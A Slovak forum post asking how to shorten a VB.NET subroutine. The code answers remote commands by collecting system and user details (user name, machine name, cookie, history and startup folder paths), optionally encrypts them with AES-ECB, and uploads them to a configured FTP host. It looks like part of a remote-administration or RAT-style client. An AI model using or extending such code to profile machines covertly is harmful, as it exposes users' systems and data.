Dobry den , robim posledne upravy v programe a narazil som na dlhy kod a pripada my napisany zbytocne zdlhavo :
Public Sub pcinfo()
Try
If CACHE_003_CMD_EXEC_CODE01.Contains("<localip>") Then
CACHE_007_CMD_PCINFO = "command haven't answer"
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<currentdirectory>") Then
CACHE_007_CMD_PCINFO = System.Environment.CurrentDirectory.ToString
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<machinename>") Then
CACHE_007_CMD_PCINFO = System.Environment.MachineName.ToString
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<osversion>") Then
CACHE_007_CMD_PCINFO = System.Environment.OSVersion.ToString
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<processorcount>") Then
CACHE_007_CMD_PCINFO = System.Environment.ProcessorCount.ToString
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<systemdirectory>") Then
CACHE_007_CMD_PCINFO = System.Environment.SystemDirectory.ToString
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<userdomainname>") Then
CACHE_007_CMD_PCINFO = System.Environment.UserDomainName.ToString
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<username>") Then
CACHE_007_CMD_PCINFO = System.Environment.UserName.ToString
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<wversion>") Then
CACHE_007_CMD_PCINFO = System.Environment.Version.ToString.ToString
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<workingset>") Then
CACHE_007_CMD_PCINFO = System.Environment.WorkingSet.ToString
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<getlogicaldrives>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetLogicalDrives.ToString
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<applicationdata>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.ApplicationData.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<commonapplicationdata>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.CommonApplicationData.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<commonprogramfiles>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.CommonProgramFiles.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<cookies>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Cookies.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<desktop>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Desktop.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<desktopdirectory>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.DesktopDirectory.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<favorites>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Favorites.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<history>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.History.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<internetcache>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.InternetCache.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<localapplicationdata>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.LocalApplicationData.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<mycomputer>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.MyComputer.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<mydocuments>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.MyDocuments.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<mymusic>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.MyMusic.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<mypictures>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.MyPictures.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<personal>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Personal.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<programfiles>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.ProgramFiles.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<programs>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Programs.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<recent>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Recent.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<sendto>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.SendTo.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<startmenu>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.StartMenu.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<startup>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Startup.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<system>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.System.ToString)
ElseIf CACHE_003_CMD_EXEC_CODE01.Contains("<templates>") Then
CACHE_007_CMD_PCINFO = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Templates.ToString)
End If
If My.Settings.run_AES_CRYPTOGRAPHY = "1" Then
AES.Key = Hash.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(My.Settings.cache_MD5_HASH_CRYPTOGRAPHY))
AES.Mode = System.Security.Cryptography.CipherMode.ECB
Dim AESEncrypet As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(CACHE_007_CMD_PCINFO)
CACHE_007_CMD_PCINFO = Convert.ToBase64String(AESEncrypet.TransformFinalBlock(Buffer, 0, Buffer.Length))
End If
Client1.UploadString(My.Settings.upto_FTP_HOST + My.Settings.cache_USERNAME + My.Settings.use_EXTENSION, UPLOAD_CACHE + "Success<" + DateAndTime.Now + ">Output<<>" + CACHE_007_CMD_PCINFO + vbNewLine + "<END>")
Catch ex As Exception
Exception_Report("<PCINFO_ER>", ex.ToString)
End Try
End Sub
Dost sa za ten kod hanbim lebo je naozaj decky. Pisal som to este ked som bol v zaciatkoch , ale pravdu povediac ani teraz ma nenapada nic ako by som to vyriesil kratsim kodom. Da sa to niako vyriesit napriklad ze cez terminal zadam prikaz templates a server to niako pripoji do kodu System.Environment.GetFolderPath(System.Environment.SpecialFolder + "templates + .ToString) ? Za odpoved predom dakujem.
|